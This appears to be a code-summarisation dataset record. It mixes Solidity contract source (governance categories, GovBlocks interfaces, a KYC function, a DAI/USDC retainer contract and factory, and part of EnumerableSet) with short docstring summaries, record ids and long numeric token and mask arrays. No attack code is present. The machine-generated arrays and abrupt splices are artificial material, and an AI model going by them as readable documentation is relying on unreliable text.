require(_quorumPerc <= 100 && _majorityVotePerc <= 100, "Invalid percentage");
require((_contractName == "EX" && _contractAddress == address(0)) || bytes(_functionHash).length > 0);
require(_incentives[3] <= 1, "Invalid special resolution flag");
//If category is special resolution role authorized should be member
if (_incentives[3] == 1) {
require(_memberRoleToVote == uint(MemberRoles.Role.Member));
_majorityVotePerc = 0;
_quorumPerc = 0;
}
_addCategory(
_name,
_memberRoleToVote,
_majorityVotePerc,
_quorumPerc,
_allowedToCreateProposal,
_closingTime,
_actionHash,
_contractAddress,
_contractName,
_incentives
);
if (bytes(_functionHash).length > 0 && abi.encodeWithSignature(_functionHash).length == 4) {
categoryActionHashes[allCategory.length - 1] = abi.encodeWithSignature(_functionHash);
}
}
/**
* @dev Changes the master address and update it's instance
* @param _masterAddress is the new master address
*/
function changeMasterAddress(address _masterAddress) public {
if (masterAddress != address(0))
require(masterAddress == msg.sender);
masterAddress = _masterAddress;
ms = INXMMaster(_masterAddress);
nxMasterAddress = _masterAddress;
}
/**
* @dev Updates category details (Discontinued, moved functionality to editCategory)
* @param _categoryId Category id that needs to be updated
* @param _name Category name
* @param _memberRoleToVote Voting Layer sequence in which the voting has to be performed.
* @param _allowedToCreateProposal Member roles allowed to create the proposal
* @param _majorityVotePerc Majority Vote threshold for Each voting layer
* @param _quorumPerc minimum threshold percentage required in voting to calculate result
* @param _closingTime Vote closing time for Each voting layer
* @param _actionHash hash of details containing the action that has to be performed after proposal is accepted
* @param _contractAddress address of contract to call after proposal is accepted
* @param _contractName name of contract to be called after proposal is accepted
* @param _incentives rewards to distributed after proposal is accepted
*/
function updateCategory(
uint _categoryId,
string memory _name,
uint _memberRoleToVote,
uint _majorityVotePerc,
uint _quorumPerc,
uint[] memory _allowedToCreateProposal,
uint _closingTime,
string memory _actionHash,
address _contractAddress,
bytes2 _contractName,
uint[] memory _incentives
) public {}
/**
* @dev Updates category details
* @param _categoryId Category id that needs to be updated
* @param _name Category name
* @param _memberRoleToVote Voting Layer sequence in which the voting has to be performed.
* @param _allowedToCreateProposal Member roles allowed to create the proposal
* @param _majorityVotePerc Majority Vote threshold for Each voting layer
* @param _quorumPerc minimum threshold percentage required in voting to calculate result
* @param _closingTime Vote closing time for Each voting layer
* @param _actionHash hash of details containing the action that has to be performed after proposal is accepted
* @param _contractAddress address of contract to call after proposal is accepted
* @param _contractName name of contract to be called after proposal is accepted
* @param _incentives rewards to distributed after proposal is accepted
* @param _functionHash function signature to be executed
*/
function editCategory(
uint _categoryId,
string memory _name,
uint _memberRoleToVote,
uint _majorityVotePerc,
uint _quorumPerc,
uint[] memory _allowedToCreateProposal,
uint _closingTime,
string memory _actionHash,
address _contractAddress,
bytes2 _contractName,
uint[] memory _incentives,
string memory _functionHash
)
public
onlyAuthorizedToGovern
{
require(_verifyMemberRoles(_memberRoleToVote, _allowedToCreateProposal) == 1, "Invalid Role");
require(_quorumPerc <= 100 && _majorityVotePerc <= 100, "Invalid percentage");
require((_contractName == "EX" && _contractAddress == address(0)) || bytes(_functionHash).length > 0);
require(_incentives[3] <= 1, "Invalid special resolution flag");
//If category is special resolution role authorized should be member
if (_incentives[3] == 1) {
require(_memberRoleToVote == uint(MemberRoles.Role.Member));
_majorityVotePerc = 0;
_quorumPerc = 0;
}
delete categoryActionHashes[_categoryId];
if (bytes(_functionHash).length > 0 && abi.encodeWithSignature(_functionHash).length == 4) {
categoryActionHashes[_categoryId] = abi.encodeWithSignature(_functionHash);
}
allCategory[_categoryId].memberRoleToVote = _memberRoleToVote;
allCategory[_categoryId].majorityVotePerc = _majorityVotePerc;
allCategory[_categoryId].closingTime = _closingTime;
allCategory[_categoryId].allowedToCreateProposal = _allowedToCreateProposal;
allCategory[_categoryId].minStake = _incentives[0];
allCategory[_categoryId].quorumPerc = _quorumPerc;
categoryActionData[_categoryId].defaultIncentive = _incentives[1];
categoryActionData[_categoryId].contractName = _contractName;
categoryActionData[_categoryId].contractAddress = _contractAddress;
categoryABReq[_categoryId] = _incentives[2];
isSpecialResolution[_categoryId] = _incentives[3];
emit Category(_categoryId, _name, _actionHash);
}
/**
* @dev Internal call to add new category
* @param _name Category name
* @param _memberRoleToVote Voting Layer sequence in which the voting has to be performed.
* @param _majorityVotePerc Majority Vote threshold for Each voting layer
* @param _quorumPerc minimum threshold percentage required in voting to calculate result
* @param _allowedToCreateProposal Member roles allowed to create the proposal
* @param _closingTime Vote closing time for Each voting layer
* @param _actionHash hash of details containing the action that has to be performed after proposal is accepted
* @param _contractAddress address of contract to call after proposal is accepted
* @param _contractName name of contract to be called after proposal is accepted
* @param _incentives rewards to distributed after proposal is accepted
*/
function _addCategory(
string memory _name,
uint _memberRoleToVote,
uint _majorityVotePerc,
uint _quorumPerc,
uint[] memory _allowedToCreateProposal,
uint _closingTime,
string memory _actionHash,
address _contractAddress,
bytes2 _contractName,
uint[] memory _incentives
)
internal
{
require(_verifyMemberRoles(_memberRoleToVote, _allowedToCreateProposal) == 1, "Invalid Role");
allCategory.push(
CategoryStruct(
_memberRoleToVote,
_majorityVotePerc,
_quorumPerc,
_allowedToCreateProposal,
_closingTime,
_incentives[0]
)
);
uint categoryId = allCategory.length - 1;
categoryActionData[categoryId] = CategoryAction(_incentives[1], _contractAddress, _contractName);
categoryABReq[categoryId] = _incentives[2];
isSpecialResolution[categoryId] = _incentives[3];
emit Category(categoryId, _name, _actionHash);
}
/**
* @dev Internal call to check if given roles are valid or not
*/
function _verifyMemberRoles(uint _memberRoleToVote, uint[] memory _allowedToCreateProposal)
internal view returns (uint) {
uint totalRoles = mr.totalRoles();
if (_memberRoleToVote >= totalRoles) {
return 0;
}
for (uint i = 0; i < _allowedToCreateProposal.length; i++) {
if (_allowedToCreateProposal[i] >= totalRoles) {
return 0;
}
}
return 1;
}
}
/* Copyright (C) 2017 GovBlocks.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
contract IGovernance {
event Proposal(
address indexed proposalOwner,
uint256 indexed proposalId,
uint256 dateAdd,
string proposalTitle,
string proposalSD,
string proposalDescHash
);
event Solution(
uint256 indexed proposalId,
address indexed solutionOwner,
uint256 indexed solutionId,
string solutionDescHash,
uint256 dateAdd
);
event Vote(
address indexed from,
uint256 indexed proposalId,
uint256 indexed voteId,
uint256 dateAdd,
uint256 solutionChosen
);
event RewardClaimed(
address indexed member,
uint gbtReward
);
/// @dev VoteCast event is called whenever a vote is cast that can potentially close the proposal.
event VoteCast (uint256 proposalId);
/// @dev ProposalAccepted event is called when a proposal is accepted so that a server can listen that can
/// call any offchain actions
event ProposalAccepted (uint256 proposalId);
/// @dev CloseProposalOnTime event is called whenever a proposal is created or updated to close it on time.
event CloseProposalOnTime (
uint256 indexed proposalId,
uint256 time
);
/// @dev ActionSuccess event is called whenever an onchain action is executed.
event ActionSuccess (
uint256 proposalId
);
/// @dev Creates a new proposal
/// @param _proposalDescHash Proposal description hash through IPFS having Short and long description of proposal
/// @param _categoryId This id tells under which the proposal is categorized i.e. Proposal's Objective
function createProposal(
string calldata _proposalTitle,
string calldata _proposalSD,
string calldata _proposalDescHash,
uint _categoryId
)
external;
/// @dev Edits the details of an existing proposal and creates new version
/// @param _proposalId Proposal id that details needs to be updated
/// @param _proposalDescHash Proposal description hash having long and short description of proposal.
function updateProposal(
uint _proposalId,
string calldata _proposalTitle,
string calldata _proposalSD,
string calldata _proposalDescHash
)
external;
/// @dev Categorizes proposal to proceed further. Categories shows the proposal objective.
function categorizeProposal(
uint _proposalId,
uint _categoryId,
uint _incentives
)
external;
/// @dev Submit proposal with solution
/// @param _proposalId Proposal id
/// @param _solutionHash Solution hash contains parameters, values and description needed according to proposal
function submitProposalWithSolution(
uint _proposalId,
string calldata _solutionHash,
bytes calldata _action
)
external;
/// @dev Creates a new proposal with solution and votes for the solution
/// @param _proposalDescHash Proposal description hash through IPFS having Short and long description of proposal
/// @param _categoryId This id tells under which the proposal is categorized i.e. Proposal's Objective
/// @param _solutionHash Solution hash contains parameters, values and description needed according to proposal
function createProposalwithSolution(
string calldata _proposalTitle,
string calldata _proposalSD,
string calldata _proposalDescHash,
uint _categoryId,
string calldata _solutionHash,
bytes calldata _action
)
external;
/// @dev Casts vote
/// @param _proposalId Proposal id
/// @param _solutionChosen solution chosen while voting. _solutionChosen[0] is the chosen solution
function submitVote(uint _proposalId, uint _solutionChosen) external;
function closeProposal(uint _proposalId) external;
function claimReward(address _memberAddress, uint _maxRecords) external returns (uint pendingDAppReward);
function proposal(uint _proposalId)
external
view
returns (
uint proposalId,
uint category,
uint status,
uint finalVerdict,
uint totalReward
);
function canCloseProposal(uint _proposalId) public view returns (uint closeValue);
function allowedToCatgorize() public view returns (uint roleId);
}
/* Copyright (C) 2017 GovBlocks.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
interface IMaster {
function getLatestAddress(bytes2 _module) external view returns (address);
}
contract Governed {
address public masterAddress; // Name of the dApp, needs to be set by contracts inheriting this contract
/// @dev modifier that allows only the authorized addresses to execute the function
modifier onlyAuthorizedToGovern() {
IMaster ms = IMaster(masterAddress);
require(ms.getLatestAddress("GV") == msg.sender, "Not authorized");
_;
}
/// @dev checks if an address is authorized to govern
function isAuthorizedToGovern(address _toCheck) public view returns (bool) {
IMaster ms = IMaster(masterAddress);
return (ms.getLatestAddress("GV") == _toCheck);
}
}
/* Copyright (C) 2017 GovBlocks.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
contract IProposalCategory {
event Category(
uint indexed categoryId,
string categoryName,
string actionHash
);
/// @dev Adds new category
/// @param _name Category name
/// @param _memberRoleToVote Voting Layer sequence in which the voting has to be performed.
/// @param _allowedToCreateProposal Member roles allowed to create the proposal
/// @param _majorityVotePerc Majority Vote threshold for Each voting layer
/// @param _quorumPerc minimum threshold percentage required in voting to calculate result
/// @param _closingTime Vote closing time for Each voting layer
/// @param _actionHash hash of details containing the action that has to be performed after proposal is accepted
/// @param _contractAddress address of contract to call after proposal is accepted
/// @param _contractName name of contract to be called after proposal is accepted
/// @param _incentives rewards to distributed after proposal is accepted
function addCategory(
string calldata _name,
uint _memberRoleToVote,
uint _majorityVotePerc,
uint _quorumPerc,
uint[] calldata _allowedToCreateProposal,
uint _closingTime,
string calldata _actionHash,
address _contractAddress,
bytes2 _contractName,
uint[] calldata _incentives
)
external;
/// @dev gets category details
function category(uint _categoryId)
external
view
returns (
uint categoryId,
uint memberRoleToVote,
uint majorityVotePerc,
uint quorumPerc,
uint[] memory allowedToCreateProposal,
uint closingTime,
uint minStake
);
///@dev gets category action details
function categoryAction(uint _categoryId)
external
view
returns (
uint categoryId,
address contractAddress,
bytes2 contractName,
uint defaultIncentive
);
/// @dev Gets Total number of categories added till now
function totalCategories() external view returns (uint numberOfCategories);
/// @dev Updates category details
/// @param _categoryId Category id that needs to be updated
/// @param _name Category name
/// @param _memberRoleToVote Voting Layer sequence in which the voting has to be performed.
/// @param _allowedToCreateProposal Member roles allowed to create the proposal
/// @param _majorityVotePerc Majority Vote threshold for Each voting layer
/// @param _quorumPerc minimum threshold percentage required in voting to calculate result
/// @param _closingTime Vote closing time for Each voting layer
/// @param _actionHash hash of details containing the action that has to be performed after proposal is accepted
/// @param _contractAddress address of contract to call after proposal is accepted
/// @param _contractName name of contract to be called after proposal is accepted
/// @param _incentives rewards to distributed after proposal is accepted
function updateCategory(
uint _categoryId,
string memory _name,
uint _memberRoleToVote,
uint _majorityVotePerc,
uint _quorumPerc,
uint[] memory _allowedToCreateProposal,
uint _closingTime,
string memory _actionHash,
address _contractAddress,
bytes2 _contractName,
uint[] memory _incentives
)
public;
}
|
* @dev to perform kyc verdict @param _userAddress whose kyc is being performed @param verdict of kyc process/
|
function kycVerdict(address payable _userAddress, bool verdict) public {
require(msg.sender == qd.kycAuthAddress());
require(!ms.isPause());
require(_userAddress != address(0));
require(!ms.isMember(_userAddress));
require(qd.refundEligible(_userAddress));
if (verdict) {
qd.setRefundEligible(_userAddress, false);
uint fee = td.joiningFee();
tc.addToWhitelist(_userAddress);
_updateRole(_userAddress, uint(Role.Member), true);
qd.setRefundEligible(_userAddress, false);
}
}
| 2,578,511 |
[
1,
869,
3073,
417,
93,
71,
1924,
1576,
225,
389,
1355,
1887,
8272,
417,
93,
71,
353,
3832,
9591,
225,
1924,
1576,
434,
417,
93,
71,
1207,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
417,
93,
71,
3945,
1576,
12,
2867,
8843,
429,
389,
1355,
1887,
16,
1426,
1924,
1576,
13,
1071,
288,
203,
203,
565,
2583,
12,
3576,
18,
15330,
422,
1043,
72,
18,
18465,
71,
1730,
1887,
10663,
203,
565,
2583,
12,
5,
959,
18,
291,
19205,
10663,
203,
565,
2583,
24899,
1355,
1887,
480,
1758,
12,
20,
10019,
203,
565,
2583,
12,
5,
959,
18,
291,
4419,
24899,
1355,
1887,
10019,
203,
565,
2583,
12,
31886,
18,
1734,
1074,
4958,
16057,
24899,
1355,
1887,
10019,
203,
565,
309,
261,
502,
1576,
13,
288,
203,
1377,
1043,
72,
18,
542,
21537,
4958,
16057,
24899,
1355,
1887,
16,
629,
1769,
203,
1377,
2254,
14036,
273,
6655,
18,
5701,
310,
14667,
5621,
203,
1377,
1715,
18,
1289,
774,
18927,
24899,
1355,
1887,
1769,
203,
1377,
389,
2725,
2996,
24899,
1355,
1887,
16,
2254,
12,
2996,
18,
4419,
3631,
638,
1769,
203,
203,
1377,
1043,
72,
18,
542,
21537,
4958,
16057,
24899,
1355,
1887,
16,
629,
1769,
203,
565,
289,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.4.26;
/* TEMPLATE TERMS
Establishing a retainer and acknowledging the mutual consideration and agreement hereby, Client, indentified as ethereum address '0x[[Client Ethereum Address]]',
commits a digital payment transactional script capped at '$[[Payment Cap in Dollars]]' for the benefit of Provider, identified as ethereum address '0x[[Provider Ethereum Address]]',
in exchange for the prompt satisfaction of the following deliverables to Client by Provider, '[[Deliverable]]', upon scripted payments set at the rate of '$[[Deliverable Rate]]' per deliverable,
with such retainer relationship not to exceed '[[Retainer Duration in Days]]' days and to be governed by the choice of [[Choice of Law and Arbitration Forum]] law and 'either/or' arbitration rules in [[Choice of Law and Arbitration Forum]].
*/
/* OPENLAW TEMPLATE
https://app.openlaw.io/template/OpenLEX%20-%20Digital%20Dollar%20Retainer%20(DDR)
*/
/***************
DDR CONTRACT
***************/
contract DigitalDollarRetainer {
string public terms; // **terms governing DDR**
// **ERC-20 Token References**
uint256 private decimalFactor = 10**uint256(18); // **adjusts token payments to wei amount for UX**
address public daiToken = 0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359; // **designated ERC-20 token for payments - DAI 'digital dollar'**
address public usdcToken = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; // **designated ERC-20 token for payments - USDC 'digital dollar'**
// **Service Retainer References**
address public client; // **client ethereum address**
address public provider; // **ethereum address that receives payments in exchange for goods or services**
string public deliverable; // **goods or services (deliverable) retained for benefit of ethereum payments**
string public governingLawandForum; // **choice of law and forum for retainer relationship**
uint8 public retainerDurationinDays; // **duration of retainer in days**
uint8 public deliverableRate; // **rate for retained deliverables in digital dollars**
uint8 public paid; // **amount paid thus far under retainer in digital dollars**
uint8 public payCap; // **retainer payment cap in digital dollars**
event Paid(uint256 amount, address indexed); // **triggered on successful payments**
constructor(string _terms, address _client, address _provider, string _deliverable, string _governingLawandForum, uint8 _retainerDurationinDays, uint8 _deliverableRate, uint8 _payCap) public {
terms = _terms;
client = _client;
provider = _provider;
deliverable = _deliverable;
governingLawandForum = _governingLawandForum;
retainerDurationinDays = _retainerDurationinDays;
deliverableRate = _deliverableRate;
payCap = _payCap;
}
function getTerms() // **getter function to facilitate factory calls**
public
view
returns (string)
{
return terms;
}
function payDAI() public { // **forwards approved DAI token amount to provider ethereum address**
require(msg.sender == client);
require(paid <= payCap, "payDAI: payCap exceeded");
require(paid + deliverableRate <= payCap, "payDAI: payCap exceeded");
uint256 weiAmount = deliverableRate * decimalFactor;
ERC20 dai = ERC20(daiToken);
dai.transferFrom(msg.sender, provider, weiAmount);
emit Paid(weiAmount, msg.sender);
paid = paid + deliverableRate;
}
function payUSDC() public { // **forwards approved USDC token amount to provider ethereum address**
require(msg.sender == client);
require(paid <= payCap, "payUSDC: payCap exceeded");
require(paid + deliverableRate <= payCap, "payUSDC: payCap exceeded");
uint256 weiAmount = deliverableRate * decimalFactor;
ERC20 usdc = ERC20(usdcToken);
usdc.transferFrom(msg.sender, provider, weiAmount);
emit Paid(weiAmount, msg.sender);
paid = paid + deliverableRate;
}
}
/***************
ERC20 CONTRACT
***************/
/**
* @title ERC20
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/***************
FACTORY CONTRACT
***************/
contract DigitalDollarRetainerFactory {
// **index of created contracts**
mapping (address => bool) public validContracts;
address[] public contracts;
// **useful to know the row count in contracts index**
function getContractCount()
public
view
returns(uint contractCount)
{
return contracts.length;
}
// **get all contracts**
function getDeployedContracts() public view returns (address[])
{
return contracts;
}
// **deploy a new contract**
function newDigitalRetainer(string _terms, address _client, address _provider, string _deliverable, string _governingLawandForum, uint8 _retainerDurationinDays, uint8 _deliverableRate, uint8 _payCap)
public
returns(address)
{
DigitalDollarRetainer c = new DigitalDollarRetainer(_terms, _client, _provider, _deliverable, _governingLawandForum, _retainerDurationinDays, _deliverableRate, _payCap);
validContracts[c] = true;
contracts.push(c);
return c;
}
// **retrieve stored terms from deployed DDR**
function getTerms(address ddRetainer)
public
view
returns(string)
{
// **ensure valid address for DDR**
require(validContracts[ddRetainer],"Contract Not Found!");
return (DigitalDollarRetainer(ddRetainer).getTerms());
}
}
|
**index of created contracts** **useful to know the row count in contracts index**
|
contract DigitalDollarRetainerFactory {
mapping (address => bool) public validContracts;
address[] public contracts;
function getContractCount()
public
view
returns(uint contractCount)
FACTORY CONTRACT
{
return contracts.length;
}
function getDeployedContracts() public view returns (address[])
{
return contracts;
}
function newDigitalRetainer(string _terms, address _client, address _provider, string _deliverable, string _governingLawandForum, uint8 _retainerDurationinDays, uint8 _deliverableRate, uint8 _payCap)
public
returns(address)
{
DigitalDollarRetainer c = new DigitalDollarRetainer(_terms, _client, _provider, _deliverable, _governingLawandForum, _retainerDurationinDays, _deliverableRate, _payCap);
validContracts[c] = true;
contracts.push(c);
return c;
}
function getTerms(address ddRetainer)
public
view
returns(string)
{
require(validContracts[ddRetainer],"Contract Not Found!");
return (DigitalDollarRetainer(ddRetainer).getTerms());
}
}
| 13,043,292 |
[
1,
1615,
434,
2522,
20092,
5301,
358,
5055,
326,
1027,
1056,
316,
20092,
770,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
11678,
7053,
40,
25442,
7055,
1521,
1733,
288,
203,
203,
6770,
261,
2867,
516,
1426,
13,
1071,
923,
20723,
31,
203,
2867,
8526,
1071,
20092,
31,
203,
203,
915,
336,
8924,
1380,
1435,
203,
482,
203,
1945,
203,
6154,
12,
11890,
6835,
1380,
13,
203,
16193,
8020,
2849,
1268,
203,
203,
95,
203,
2463,
20092,
18,
2469,
31,
203,
97,
203,
203,
915,
336,
31954,
20723,
1435,
1071,
1476,
1135,
261,
2867,
63,
5717,
203,
95,
203,
2463,
20092,
31,
203,
97,
203,
203,
915,
394,
4907,
7053,
7055,
1521,
12,
1080,
389,
10112,
16,
1758,
389,
2625,
16,
1758,
389,
6778,
16,
533,
389,
26672,
429,
16,
533,
389,
75,
1643,
2093,
48,
2219,
464,
1290,
379,
16,
2254,
28,
389,
1349,
1521,
5326,
267,
9384,
16,
2254,
28,
389,
26672,
429,
4727,
16,
2254,
28,
389,
10239,
4664,
13,
203,
482,
203,
6154,
12,
2867,
13,
203,
95,
203,
4907,
7053,
40,
25442,
7055,
1521,
276,
273,
394,
11678,
7053,
40,
25442,
7055,
1521,
24899,
10112,
16,
389,
2625,
16,
389,
6778,
16,
389,
26672,
429,
16,
389,
75,
1643,
2093,
48,
2219,
464,
1290,
379,
16,
389,
1349,
1521,
5326,
267,
9384,
16,
389,
26672,
429,
4727,
16,
389,
10239,
4664,
1769,
203,
877,
20723,
63,
71,
65,
273,
638,
31,
203,
16351,
87,
18,
6206,
12,
71,
1769,
203,
2463,
276,
31,
203,
97,
203,
203,
915,
3181,
5044,
12,
2867,
6957,
7055,
1521,
13,
203,
482,
203,
1945,
203,
6154,
12,
1080,
13,
203,
95,
203,
203,
6528,
2
] |
/**
*Submitted for verification at Etherscan.io on 2020-11-10
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
